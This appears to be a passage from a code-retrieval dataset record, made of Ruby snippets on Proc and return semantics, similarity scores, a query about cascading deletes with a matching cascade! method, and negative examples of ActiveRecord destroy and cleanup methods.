"def pass_proc1 (proc1, proc2, number, proc3)\n proc1.call\n proc2.call\n proc3.call \n Proc.new { puts \"#{number} procs have been passed as arguments to the currently executing method #{__method__.to_s}\" }.call\n proc5 = Proc.new {puts \"A proc can be output from a method. This is the second property of higher-order functions\"} \nend",
"def metodo proc1\n\tputs 'Start'\n\tproc1.call\n\tputs'Fin'\nend",
"def sampleProc\n procOne = Proc.new { return \"Proc block!\" }\n procOne.call\n \"Last Proc statement!\"\nend",
"def add_and_proc(num_1, num_2, &prc)\n\t# p prc\n\tsum = num_1 + num_2\n\tprc.call(sum)\nend",
"def diet2\n status = Proc.new { return 'You gave in!' }\n status.call\n 'You completed the diet!'\nend",
"def add_and_proc(num_1, num_2, prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
"def add_and_proc(num_1, num_2, prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
"def proc_method(&my_proc)\n puts \"method start\"\n my_proc.call\n puts \"method end\"\nend",
"def call(*args)\n if to_proc.arity == 0\n to_proc.call\n else\n to_proc.call(*args)\n end\n end",
"def procedure_a(a,b)\n a=a+3\n b=b+4\n return a,b\nend",
"def proc_method\n p = Proc.new { return \"\\nreturning from proc\\n\"} \n p.call\n print \"\\nStatement after proc\\n\"\nend",
"def call_a_proc(&my_proc)\n my_proc.call\nend",
"def greeting(proc_1, proc_2, proc_3)\n puts proc_1.call('good morning')\n puts proc_2.call('hello')\n puts proc_3.call('good evening')\nend",
"def proc_return_demo\n some_proc = Proc.new { return \"proc returns\"}\n some_proc.call\n \"method returns\"\nend",
"def run\n self.proc.call\n end",
"def proc_method\n\tproc_a = proc { |x| return x }\n\tproc_a.call(@expected_proc_return)\n\t\"unexpected proc return\"\nend",
"def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n puts victor.call\r\n \"Iron Man will win!\"\r\nend",
"def greeting(arrange_proc)\n puts 'good morning'\n text = arrange_proc.call('hello')\n puts text\n puts 'good evening'\nend",
"def proc_in_return\n proc_func = proc {\n return\n }\n proc_func.call\n\n \"mew\"\n end",
"def dietproc\n status=Proc.new{return \"You gave in!\"} #explict return skips the part of code so removing return\n status.call\n \"You completed the diet!\"\nend",
"def proc_return\n my_proc = Proc.new {return}\n my_proc.call\n puts \"Will this be printed (Proc)\"\nend",
"def procasaurus( p1, p2, p3 )\n\tputs p1.call\n\tputs p2.call\n\tputs p3.call\nend",
"def ret_proc \n proc = Proc.new { return \"a return from inside the proc returns not only from the proc, but the enclosing method itself, unlike a lambda.\"}\n proc.call\n return \"returning from inside the method\"\n end",
"def compose(f1, f2)\n proc {|*x|f1.call(f2.call(*x))}\n end",
"def batman_ironman_proc #calls a proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def take_proc(proc)\n\t[1,2,3,4].each do |number|\n\tproc.call number\n\tend\nend",
"def run_block\n p = Proc.new # <1>\n p.call\nend",
"def exec_proc(fn)\n num = 1\n fn.call # 2 prints\nend",
"def twiceDo someProc\n someProc.call\n someProc.call\nend",
"def process(*_arg0, **_arg1, &_arg2); end",
"def run_couple\n run_a_proc proc { puts 'I am a proc'; return }\n p 'you will not see me'\n run_a_proc lambda { puts 'I am a lambda'; return }\nend",
"def take_proc(proc)\n [1,2,3,4,5].each do |num|\n proc.call num\n end\nend",
"def postproc; end",
"def call_proc(val, &proc)\n proc ||= Proc.new { |data| data + \" you\" }\n proc.call(val)\nend",
"def my_method1(&the_proc) # Convert Block to Proc\n puts the_proc.call(\"Bill\") # Use as Proc, just drop \"&\" and you will receive the block\n puts yield(\"Bill\") # Use as Block\nend",
"def batman_ironman_proc #will return batman will win\n victor = Proc.new { |n| return \"Batman will win!#{n}\" }\n victor.call(3)\n \"Iron Man will win!\"\nend",
"def test1\n p = Proc.new { return }\n p.call\n puts “This line can’t display”\nend",
"def proc_return\n Proc.new { return \"Proc.new\"}.call\n return \"proc_return method finished\"\nend",
"def proc_return\n my_proc = Proc.new { return }\n my_proc.call\n puts \"This will not be printed\"\nend",
"def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n victor.call\r\n \"Iron Man will win!\"\r\nend",
"def another_double\n p = Proc.new { return 10}\n result = p.call\n return result * 2 # => unreachable code!\nend",
"def process2(number)\n puts 'STARTING PROCESSING'\n result = yield number\n puts 'END PROCESSING'\n result\nend",
"def process(number, processor)\n puts 'STARTING PROCESSING'\n result = processor.call(number)\n puts 'END PROCESSING'\n result\nend",
"def call_twice(&b)\n t = b.call(123434)\n puts \"Yield interactive1\", t\n firstGet = yield(\"1\")\n print \"Yield interactive1 \", firstGet, \"\\n\"\n secondGet = yield(2)\n print \"Yield interactive2 \", secondGet, \"\\n\"\nend",
"def create_proc_with_return\n proc = Proc.new { return puts \"I am a proc with return\" }\n #on check on numbers of paramaters\n proc.call()\n # will not be executed!\n puts \"I am behind proc's call that with a return \"\nend",
"def practice (superProc)\n\t\tputs 'I got a new trick'\n\n\t\tsuperProc.call\n\n\t\tputs 'Yeah, look at that, I can take whatever you come up with'\n\tend",
"def proc_call(arg)\n [1,2,3].each { |x| arg.call(x) }\nend",
"def run_proc_or_lambda_2(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend",
"def run_proc_or_lambda_2(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend",
"def process(result)\n result\n end",
"def take_proc(proc)\n\t[1, 2, 3, 4, 5].each do |number|\n\t\tproc.call number\n\tend\nend",
"def run_proc_closure(p)\n p.call\nend",
"def two\n\tyield 1, 2\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" } # Proc returns immediately, without going back to the batman_ironman_proc method.\n victor.call\n \"Iron Man will win!\"\nend",
"def return_from_proc\n a = Proc.new { return 10 }.call\n # 1.times { return 10 }\n puts \"This will never be printed.\"\nend",
"def process(&block); end",
"def invoker(procObj, param1)\n puts \"Invoking #{procObj} on #{param1.to_s}\"\n procObj.call param1\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def some_mtd some_proc\n puts 'Start of mtd'\n some_proc.call\n puts 'End of mtd'\nend",
"def sumRand(rand1, rand2)\n proc {\n rand1.call + rand2.call\n }\nend",
"def diet_proc\n status = Proc.new { return \"You gave in\"}\n status.call\n \"You completed the diet\"\nend",
"def foo (a, b)\n a.call(b)\nend",
"def take_proc(proc)\n [1, 2, 3, 4, 5].each do |number|\n proc.call number\n end\nend",
"def take_proc(proc)\n [1, 2, 3, 4, 5].each do |number|\n proc.call number\n end\nend",
"def take_proc(proc)\n [1, 2, 3, 4, 5].each do |number|\n proc.call number\n end\nend",
"def proc_example\n\tsay_hi = proc {|name| puts \"Hi #{name}\"}\n\tsay_hi.call(\"Ganesh\")\nend",
"def to_proc\n ->(*args, &blk) do\n receiver = args.first\n if (blk)\n receiver.send(self, &blk)\n else\n args[0] = self\n receiver.send(*args)\n end\n end\n end",
"def call_a_proc(&block)\n block.call\nend",
"def my_method\n x = Proc.new{return}\n x.call\n p \"Text from within the method\"\nend",
"def another_double\n p = Proc.new { return 10 }\n result = p.call\n return result * 2 # unreachable code!\nend",
"def results(progA, progB); @results[@progs[progA], @progs[progB]]; end"
] |
[
"0.7392421",
"0.7154779",
"0.7054263",
"0.70236444",
"0.68648887",
"0.68590903",
"0.67216325",
"0.6626658",
"0.65983397",
"0.65302837",
"0.65302837",
"0.65302837",
"0.65302837",
"0.6405589",
"0.6385908",
"0.63784355",
"0.63572395",
"0.6354808",
"0.6354808",
"0.6354808",
"0.62926555",
"0.62309974",
"0.6215364",
"0.6203262",
"0.62027746",
"0.61963594",
"0.6173296",
"0.61729664",
"0.61577785",
"0.6137815",
"0.60873836",
"0.60614365",
"0.6057782",
"0.60512286",
"0.60512286",
"0.60398346",
"0.60318863",
"0.60181",
"0.59372795",
"0.5931926",
"0.5893619",
"0.5889314",
"0.58670807",
"0.58221596",
"0.57934",
"0.57670254",
"0.5739347",
"0.5737734",
"0.57239264",
"0.5712438",
"0.5707223",
"0.56682175",
"0.5668123",
"0.566572",
"0.56618446",
"0.5655865",
"0.5653212",
"0.56477004",
"0.56468916",
"0.5622452",
"0.5617588",
"0.56141156",
"0.56067044",
"0.560346",
"0.5599236",
"0.55832857",
"0.5574491",
"0.5566482",
"0.55570626",
"0.5552079",
"0.554035",
"0.5526799",
"0.5520401",
"0.55180746",
"0.5510251",
"0.5504456",
"0.5504456",
"0.550058",
"0.54944396",
"0.54943407",
"0.5491914",
"0.54911697",
"0.548829",
"0.54705065",
"0.5464412",
"0.54404587",
"0.54404587",
"0.5438924",
"0.5427775",
"0.54245305",
"0.54154927",
"0.5413944",
"0.5413944",
"0.5413944",
"0.5405809",
"0.5405212",
"0.54045343",
"0.5397304",
"0.53870493",
"0.53868353"
] |
0.64420307
|
13
|
Perform all cascading deletes, destroys, or nullifies. Will delegate to the appropriate strategy to perform the operation.
|
def cascade!
cascades.each do |name|
if !metadata || !metadata.versioned?
meta = relations[name]
strategy = meta.cascade_strategy
strategy.new(self, meta).cascade
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ensure_cascade_on_associations\n # ensure all BQ data is cleaned up first\n self.delete_convention_data\n self.study_files.each do |file|\n DataArray.where(study_id: self.id, study_file_id: file.id).delete_all\n end\n Gene.where(study_id: self.id).delete_all\n CellMetadatum.where(study_id: self.id).delete_all\n PrecomputedScore.where(study_id: self.id).delete_all\n ClusterGroup.where(study_id: self.id).delete_all\n StudyFile.where(study_id: self.id).delete_all\n DirectoryListing.where(study_id: self.id).delete_all\n UserAnnotation.where(study_id: self.id).delete_all\n UserAnnotationShare.where(study_id: self.id).delete_all\n UserDataArray.where(study_id: self.id).delete_all\n AnalysisMetadatum.where(study_id: self.id).delete_all\n StudyFileBundle.where(study_id: self.id).delete_all\n end",
"def doAllDeleteOperations(dryRun)\n #N Without this, the delete operations won't be executed\n doDeleteOperations(@destinationContent, dryRun)\n end",
"def destroy_cascade\n self.save\n self.children.each do |child|\n child.destroy_cascade\n end\n self.asset_ws_files.destroy\n self.permissions.destroy\n self.changes.destroy\n self.destroy\n end",
"def destroy(also_opinions=false)\n opinions.each(&:destroy) if also_opinions\n super() \n end",
"def cascade!(document)\n return unless persistable?\n\n case _association.dependent\n when :delete_all\n document.delete\n when :destroy\n document.destroy\n else\n document.save\n end\n end",
"def cascade\n if relation\n if relation.is_a?(Enumerable)\n relation.entries\n relation.each { |doc| doc.destroy }\n else\n relation.destroy\n end\n end\n end",
"def destroy_dependents\n self.clouds.each do |cloud| cloud.destroy end\n self.groups.each do |group| group.destroy end\n self.roles.each do |role| role.destroy end\n self.recipes.each do |recipe| recipe.destroy end\n self.questions.each do |question| question.destroy end\n end",
"def finalize_all\n for id, assocs in @dependency\n\tfor dependant, method, *opt in assocs\n\t dependant.send(method, id, *opt)\n\tend\n\tassocs.clear\n end\n end",
"def cleanup\n cleanup_nonces\n cleanup_associations\n end",
"def call\n each_photo_batch do |photo_ids|\n begin\n # rubocop:disable Style/RedundantBegin\n PhotoCollection.where(collection: collection, photo_id: photo_ids)\n .destroy_all\n rescue StandardError\n @failure = true\n raise ActiveRecord::Rollback\n end\n # rubocop:enable Style/RedundantBegin\n end\n\n check_for_failure!\n end",
"def cleanup\n @models.reverse_each(&:destroy_all)\n end",
"def purge\n return nullify unless _association.destructive?\n\n after_remove_error = nil\n criteria.delete_all\n many = _target.clear do |doc|\n execute_callback :before_remove, doc\n unbind_one(doc)\n doc.destroyed = true\n begin\n execute_callback :after_remove, doc\n rescue StandardError => e\n after_remove_error = e\n end\n end\n\n raise after_remove_error if after_remove_error\n\n many\n end",
"def cleanup!\n check_if_finished\n raise \"#{self.class}: instance not prepared before doing any move\" unless @prepared\n raise \"#{self.class}: not all data was iterated over\" unless @finished\n\n case @strategy\n when 'incremental'\n # notinh we need to do\n\n when 'rotate'\n postgres.execute(\"DROP TABLE #{@tmp_table_name}\")\n\n end\n end",
"def flush_deletes\n @queued_for_delete.each do |path|\n client.delete_object(path) if client.object_exists?(path)\n end\n @queue_for_delete = []\n end",
"def destroy\n pr = proc{all(&:destroy).length}\n model.use_transactions ? @db.transaction(:server=>opts[:server], &pr) : pr.call\n end",
"def destroy\n pr = proc{all(&:destroy).length}\n model.use_transactions ? @db.transaction(:server=>opts[:server], &pr) : pr.call\n end",
"def destroy\n has_many_columns.each do |col|\n delete_candidates = self.send(col.name)\n\n delete_candidates.each do |candidate|\n candidate.delete if col.destroy == :delete\n candidate.destroy if col.destroy == :destroy\n end\n end\n delete\n end",
"def delete_operations; end",
"def rollback\n without_transactions do\n repository.transactions_log.delete_if do |(method, options)|\n\n begin\n case method\n when :ingest\n repository.purge_object :pid => options[:pid]\n\n when :modify_object\n repository.modify_object options\n\n when :add_datastream\n repository.purge_datastream :pid => options[:pid], :dsid => options[:dsid]\n\n when :add_relationship\n repository.purge_relationship options[:options].merge(:pid => options[:pid])\n\n when :purge_relationship\n repository.add_relationship options[:options].merge(:pid => options[:pid])\n\n when :purge_object\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n\n when :set_datastream_options\n repository.set_datastream_options options\n\n when :modify_datastream\n repository.purge_object :pid => options[:pid] rescue nil\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n\n when :purge_datastream\n repository.purge_object :pid => options[:pid] rescue nil\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n end\n rescue\n # no-op\n end\n\n run_hook :after_rollback, :pid => options[:pid], :method => method, :options => options\n\n end\n end\n true\n end",
"def perform_some_actions\n # It is to be called while destroying a Child record\n # But must not be called while destroying the parent record\n unless self.parent.destroyed?\n\n end\n end",
"def flush_deletes\n @filesystem.flush_deletes\n begin\n @alt_storage.flush_deletes\n rescue Excon::Errors::Error => e\n log(\"There was an unexpected error while deleting file from alternate storage: #{e}\")\n end\n @queued_for_delete = []\n end",
"def test_override_apply_orphan_strategy\n AncestryTestDatabase.with_model orphan_strategy: :destroy do |model, roots|\n root = model.create!\n child = model.create!(:parent => root)\n model.class_eval do\n def apply_orphan_strategy\n # disabling destoy callback\n end\n end\n assert_difference 'model.count', -1 do\n root.destroy\n end\n # this should not throw an ActiveRecord::RecordNotFound exception\n assert child.reload.root_id == root.id\n end\n end",
"def finalize\n Pez.destroy_all\n Comida.destroy_all\n Tiburon.destroy_all\n end",
"def safe_destroy\n ApplicationRecord.transaction do\n # Person attributes stripped away\n self.first_name = '[deleted]'\n self.last_name = '[deleted]'\n self.email = \"null-#{id}@bountysource.com\"\n self.display_name = '[deleted]'\n self.paypal_email = nil\n self.image_url = nil\n self.bio = nil\n self.location = nil\n self.public_email = nil\n self.url = nil\n self.company = nil\n self.save!\n\n # Clear image_url\n ApplicationRecord.connection.execute(\"update people set cloudinary_id = NULL where id = #{id}\")\n\n # Delete unpublished Fundraisers\n fundraisers.where(published: false).find_each(&:destroy)\n\n # Delete published fundraisers with no Pledges\n fundraisers.where(published: true).find_each { |fundraiser| fundraiser.delete if fundraiser.pledges.empty? }\n\n # Make Pledges and Bounties anonymous\n bounties.find_each { |bounty| bounty.owner_id = nil ; bounty.owner_type = nil ; bounty.save! }\n pledges.find_each { |pledge| pledge.owner_id = nil ; pledge.owner_type = nil ; pledge.save! }\n ApplicationRecord.connection.execute(\"update bounties set anonymous = 't' where person_id = #{id}\")\n ApplicationRecord.connection.execute(\"update pledges set anonymous = 't' where person_id = #{id}\")\n\n # Can safely delete BountyClaims that were never accepted\n bounty_claims.where(collected: false).each(&:destroy)\n\n # Null out person on logged searches\n searches.find_each { |search| search.update_attribute(:person, nil) }\n\n # Delete all of the things that we can\n solutions.find_each(&:destroy)\n developer_goals.find_each(&:destroy)\n team_member_relations.find_each(&:destroy)\n shopping_cart.destroy\n access_tokens.find_each(&:destroy)\n saved_search_tabs.find_each(&:destroy)\n addresses.find_each(&:destroy)\n person_relations.find_each(&:destroy)\n tracker_relations.find_each(&:destroy)\n tag_votes.find_each(&:destroy)\n follow_relations.find_each(&:destroy)\n team_member_relations.find_each(&:destroy)\n language_relations.find_each(&:destroy)\n activity_logs.find_each(&:destroy)\n issue_rank_caches.find_each(&:destroy)\n tracker_rank_caches.find_each(&:destroy)\n tracker_person_relations.find_each(&:destroy)\n\n # Unclaim some linked accounts\n if github_account\n github_account.oauth_token = nil\n github_account.permissions = nil\n github_account.person_id = nil\n github_account.save!\n end\n linked_accounts.where.not(type: 'LinkedAccount::Github::User').find_each(&:destroy)\n\n # if there is any money left in their account, transfer it back to liability\n if account && account.balance > 0\n from_account = account\n to_account = Account::Liability.instance\n amount = from_account.balance\n\n transaction = Transaction::InternalTransfer::DeletedOwner.create!(\n audited: true,\n description: \"#{self.class.name}(#{id}) - $#{amount} owner deleted, reclaiming funds #{from_account.class.name}#{from_account.id} to #{to_account.class.name}(#{to_account.id})\"\n )\n\n transaction.splits.create!(\n amount: -1 * amount,\n account: from_account,\n item: self\n )\n\n transaction.splits.create!(\n amount: amount,\n account: to_account,\n item: self\n )\n end\n\n update_attribute(:deleted, true)\n end\n end",
"def _delete_without_checking\n # SEQUEL5: Remove\n if use_prepared_statements_for?(:delete)\n _set_prepared_statement_server(model.send(:prepared_delete)).call(pk_hash)\n else\n super\n end\n end",
"def _destroy(opts)\n called = false\n around_destroy do\n called = true\n before_destroy\n _destroy_delete\n after_destroy\n end\n raise_hook_failure(:around_destroy) unless called\n self\n end",
"def terminate\n ActiveRecord::Base.transaction do\n begin\n # Remove MissionBased Classes\n # note that we don't need to remove OptionNodes directly since OptionSet takes care of that\n # the order of deletion is also important to avoid foreign key constraints\n relationships_to_delete = [Setting, Report::Report, Condition, QingGroup, Questioning,\n Question, OptionSet, Option, Response,\n Form, Broadcast, Assignment, Sms::Message]\n relationships_to_delete.each{|r| r.mission_pre_delete(self)}\n\n self.reload\n check_associations\n self.delete\n rescue Exception => e\n Rails.logger.error \"We had to rescue from the delete for mission: #{self.id}-#{self.name}. #{e}\"\n raise e\n end\n end\n end",
"def destroy_everything\n destroy_user_key_columns\n destroy_user_key_organizations\n destroy_whitelists\n destroy_approvals\n destroy_user_keys\n destroy_users\n destroy_comments\n destroy_filters\n destroy_columns\n destroy_organizations\n end",
"def og_delete(store, cascade = true)\n pk_field = self.class.primary_key\n pk_field = self.class.ann(pk_field, :field) || pk_field\n pk = instance_variable_get(\"@#{pk_field}\")\n\n transaction_raise do |tx|\n if cascade && descendants = self.class.ann(:self, :descendants)\n descendants.each do |descendant|\n case descendant\n when ManyToMany\n # delete all entries in the join table pointing to current obj\n tx.exec \"DELETE FROM #{descendant.join_table} WHERE #{descendant.owner_key}=#{store.quote(pk)}\"\n when BelongsTo\n # delete all objecs belonging to the current obj\n descendant.owner_class.find(:where => \"#{descendant.foreign_key} = #{store.quote(pk)}\", :extra_condition => nil).each {|x| x.delete }\n end\n end\n end\n # delete obj itself\n tx.exec \"DELETE FROM #{self.class.table} WHERE #{pk_field}=#{store.quote(pk)}\"\n end\n end",
"def update_or_delete_all(removed)\n if _association.destructive?\n removed.delete_all\n else\n removed.update_all(foreign_key => nil)\n end\n end",
"def cascade( & block )\n \n @cascade_contexts.clear if @cascade_contexts\n add_cascade_context( :any )\n action( & block ) if block_given?\n \n return self\n \n end",
"def delete\n self.class.db.delete_with_id(self.class.collection_name, id).to_promise_then do\n @deleted = true\n if cache && !cache.includes?(self.class, id)\n msg = \"#{__FILE__}[#{__LINE__}] : #{self.class.name} : expected model with id #{id} to be in cache - cannot delete\"\n Robe.logger.error(msg)\n raise DBError, msg\n end\n cache.delete(self) if cache\n results = []\n self.class.has_one_associations.each do |assoc|\n if assoc.owner\n send(assoc.local_attr).to_promise_then do |one|\n results << one.delete\n end\n end\n end\n results.to_promise_when\n end.to_promise_then do\n results = []\n self.class.has_many_associations.each do |assoc|\n if assoc.owner\n assoc_results = []\n results << send(assoc.local_attr).to_promise.to_promise_then do |many|\n many.each do |one|\n # trace __FILE__, __LINE__, self, __method__, \" deleting associated : #{one}\"\n assoc_results << one.delete\n end\n assoc_results.to_promise_when_on_client\n end\n end\n end\n results.to_promise_when.then do\n self\n end\n end\n end",
"def delete_all(dependent = nil)\n if dependent && ![:nullify, :delete_all].include?(dependent)\n raise ArgumentError, \"Valid values are :nullify or :delete_all\"\n end\n\n dependent = if dependent\n dependent\n elsif options[:dependent] == :destroy\n :delete_all\n else\n options[:dependent]\n end\n\n delete_or_nullify_all_records(dependent).tap do\n reset\n loaded!\n end\n end",
"def delete(object, args = nil)\n #Return false if the object has already been deleted.\n return false if object.deleted?\n classname = object.class.classname.to_sym\n\n self.call(\"object\" => object, \"signal\" => \"delete_before\")\n self.unset(object)\n obj_id = object.id\n object.delete if object.respond_to?(:delete)\n\n if @args[:datarow]\n #If autodelete is set by 'has_many'-method, go through it and delete the various objects first.\n if autodelete_data = object.class.autodelete_data\n autodelete_data.each do |adel_data|\n self.list(adel_data[:classname], {adel_data[:colname].to_s => object.id}) do |obj_del|\n self.delete(obj_del, args)\n end\n end\n end\n\n #If depend is set by 'has_many'-method, check if any objects exists and raise error if so.\n if dep_datas = object.class.depending_data\n dep_datas.each do |dep_data|\n if obj = self.get_by(dep_data[:classname], {dep_data[:colname].to_s => object.id})\n raise \"Cannot delete <#{object.class.name}:#{object.id}> because <#{obj.class.name}:#{obj.id}> depends on it.\"\n end\n end\n end\n\n #If autozero is set by 'has_many'-method, check if any objects exists and set the ID to zero.\n if autozero_datas = object.class.autozero_data\n autozero_datas.each do |zero_data|\n self.list(zero_data[:classname], {zero_data[:colname].to_s => object.id}) do |obj_zero|\n obj_zero[zero_data[:colname].to_sym] = 0\n end\n end\n end\n\n #Delete any translations that has been set on the object by 'has_translation'-method.\n if object.class.translations\n begin\n _hb.trans_del(object)\n rescue NameError\n _kas.trans_del(object)\n end\n end\n\n\n #If a buffer is given in arguments, then use that to delete the object.\n if args and buffer = args[:db_buffer]\n buffer.delete(object.table, {:id => obj_id})\n else\n @args[:db].delete(object.table, {:id => obj_id})\n end\n end\n\n @ids_cache[classname].delete(obj_id.to_i) if @ids_cache_should.key?(classname)\n self.call(\"object\" => object, \"signal\" => \"delete\")\n object.destroy\n return nil\n end",
"def destroy_with_callbacks\n run_callbacks(:before_destroy)\n result = destroy_without_callbacks\n run_callbacks(:after_destroy) if result\n result\n end",
"def process_flagged_destroys\n _assigning do\n flagged_destroys.each(&:call)\n end\n flagged_destroys.clear\n end",
"def cascade_destroy\n ltree_scope.where(\"#{self.class.table_name}.#{ltree_path_column} <@ ?\", ltree_path_in_database).destroy_all\n end",
"def _destroy(*)\n fail NotImplementedError\n end",
"def destroy(*records)\n if self.class.name == \"ActiveRecord::Associations::HasManyThroughAssociation\"\n through_association.load_target\n records.each do |record|\n through_records_for(record).each do |through_record|\n through_record.before_remove if through_record.respond_to? :before_remove\n end\n end\n end\n super(*records)\n end",
"def delete_all\n @reflection.through_reflection.klass.delete_all(@reflection.through_reflection.primary_key_name => @owner.id)\n reload\n end",
"def destroy\n\t\trun_callbacks(:destroy) { delete } \n\tend",
"def nuke!\n self.account_benefit_plans.destroy_all\n self.group_benefit_plans.destroy_all\n self.attachments.destroy_all\n self.applications.destroy_all\n self.application_statuses.destroy_all\n self.benefit_plans.destroy_all\n self.memberships.destroy_all\n self.carrier_accounts.destroy_all\n self.groups.destroy_all\n self.roles.destroy_all\n self.tokens.destroy_all\n self.carriers.destroy_all\n self.invitations.destroy_all\n\n # TODO: Do we actually want to destroy payments?\n self.payments.destroy_all\n\n self.destroy!\n end",
"def flush_deletes\n @queued_for_delete.each do |path|\n Paperclip.log(\"Delete: #{ path }\")\n file_id = search_for_title(path)\n google_api_client.delete_file(file_id) unless file_id.nil?\n end\n @queued_for_delete = []\n end",
"def before_destroy\n items.each(&:destroy)\n permissions.each(&:destroy)\n comments.each(&:destroy)\n super\n end",
"def destroy\n Segment.find_by_guid(source.guid).destroy if source && Segment.find_by_guid(source.guid)\n Segment.find_by_guid(target.guid).destroy if target && Segment.find_by_guid(target.guid)\n successors.each {|successor| NetworkConnection.find_by_guid(successor.guid).destroy if successor}\n super\n end",
"def destroy(options = {})\n call_hooks 'destroy' do\n options = options.dup\n options[:omit_model_identifiers] ||= {}\n options[:omit_model_identifiers][model_identifier] = self\n self.class.association_columns.each do |name, col|\n delete_candidates = get_attr(name)\n Array(delete_candidates).each do |candidate|\n next if options[:omit_model_identifiers][candidate.model_identifier]\n if col.dependent == :destroy\n candidate.destroy(options)\n elsif col.dependent == :delete\n candidate.delete(options)\n end\n end\n end\n delete\n end\n self\n end",
"def process_acquisitions\n if @entity_data['acquisitions'].present?\n @company.acquisitions.destroy_all\n @entity_data['acquisitions'].each do |acquisition|\n create_acquisition(acquisition, @company)\n end\n end\n end",
"def finalize\n\n # everything has been loaded, let's try to apply all the deferred things.\n flush\n\n # If flush wasn't able to do everything, print a very clear error why.\n unless @tasks.empty?\n @tasks.each do |task|\n error <<~ERROR.chomp\n unable to create entity\n source: #{task[:source]}\n error: #{task[:last_error].inspect}\n entity: #{task[:entity].pretty_inspect\n .chomp.gsub(/\\n/, \"\\n\" + ' ' * 16)}\n ERROR\n end\n\n raise RuntimeError, 'unable to create deferred entities'\n end\n\n Morrow.em.flush_updates\n end",
"def flush_deletes\n @filesystem.flush_deletes\n begin\n @fog.flush_deletes\n rescue Excon::Errors::Error => e\n log(\"There was an unexpected error while deleting file from fog: #{e}\")\n end\n @queued_for_delete = []\n end",
"def clean_up\n if self.deleted?\n # clean room type mapping\n RoomTypeChannelMapping.find_all_by_room_type_id(self.id).each do |rtcm|\n rtcm.update_attribute(:deleted, true)\n end\n # clean master rate mapping\n RoomTypeMasterRateMapping.find_all_by_room_type_id(self.id).each do |rtmr|\n RoomTypeMasterRateChannelMapping.find_all_by_room_type_master_rate_mapping_id(rtmr.id).each do |rtc|\n rtc.update_attribute(:deleted, true)\n end\n rtmr.update_attribute(:deleted, true)\n end\n # clean availability link from\n RoomTypeInventoryLink.find_all_by_room_type_from_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n # clean availability link to\n RoomTypeInventoryLink.find_all_by_room_type_to_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n end\n end",
"def destroy!\n method(:destroy).super_method.call\n end",
"def destroy\r\n do_without_exception(:destroy!)\r\n end",
"def _destroy_delete\n # _destroy_delete does not take arguments.\n destroy_options = Thread.current[\"_paranoid_destroy_args_#{self.object_id}\"].first\n Thread.current[\"_paranoid_destroy_args_#{self.object_id}\"] = nil\n\n send(self.class.sequel_paranoid_options[:delete_method_name], destroy_options)\n end",
"def destroy\n db.transaction do\n return save_failure(:destroy) if before_destroy == false\n delete\n after_destroy\n end\n self\n end",
"def clear_dependencies\n if self == ActiveRecord::Base.acl_manager.initial_destroy\n ActiveRecord::Base.acl_manager.destroy_pool = []\n ActiveRecord::Base.acl_manager.initial_destroy = nil\n end\n end",
"def destroy\n can_be_deleted? ? delete : discard\n end",
"def destroy_all\n proxy_target.each { |object| object.destroy }\n end",
"def _destroy(opts)\n sh = {:server=>this_server}\n uacr = use_after_commit_rollback\n if uacr.nil? ? (method(:after_destroy_rollback).owner != InstanceMethods) : uacr\n Sequel::Deprecation.deprecate(\"Model#after_destroy_rollback\", \"Instead, call db.after_rollback in Model#before_destroy\")\n db.after_rollback(sh){after_destroy_rollback}\n end\n called = false\n around_destroy do\n called = true\n if before_destroy == false\n Sequel::Deprecation.deprecate(\"Having before_destroy return false to cancel the destroy\", \"Instead, call cancel_action inside before_destroy\")\n raise_hook_failure(:before_destroy)\n end\n _destroy_delete\n after_destroy\n true\n end\n raise_hook_failure(:around_destroy) unless called\n if uacr.nil? ? (method(:after_destroy_commit).owner != InstanceMethods) : uacr\n Sequel::Deprecation.deprecate(\"Model#after_destroy_commit\", \"Instead, call db.after_commit in Model#after_destroy\")\n db.after_commit(sh){after_destroy_commit}\n end\n self\n end",
"def execute\n nb_problem_resolved.tap do |nb|\n if nb > 0\n criteria.each do |problem|\n ProblemDestroy.new(problem).execute\n end\n repair_database if @should_repair_database\n end\n end\n end",
"def destroy_associations\n end",
"def safe_destroy\n if self.is_root? && self.original_post?\n Comment.transaction do\n self.descendants.each{|c| c.destroy }\n end\n self.destroy\n else\n self.update_attribute('deleted', true)\n end\n end",
"def destroy\n contracts=Contract.where(post: @post)\n contracts.each do |contract|\n orders=Order.where(contract: contract)\n orders.each do |order|\n order.delete\n end\n contract.delete\n end\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def cleanup_created_resources\n # Avoid the use of any short circuiting folds.\n cleanup_commands.reverse.inject(true) { |accum, x| accum && x.cleanup }\n end",
"def safe_destroy\n destroy if taggings.empty? && expressions.empty? && dependent_lists.empty?\n end",
"def cleanup\n # if self.is_fired?\n if !self.agreements.empty?\n self.agreements.each do |each|\n unless each.flat_id\n each.destroy\n end\n end # end of self.agreement.each do |each|\n end # end of if !self.agreement.empty?\n # end # end of if self.is_fired?\n end",
"def after_destroy\n super\n touch_associations\n end",
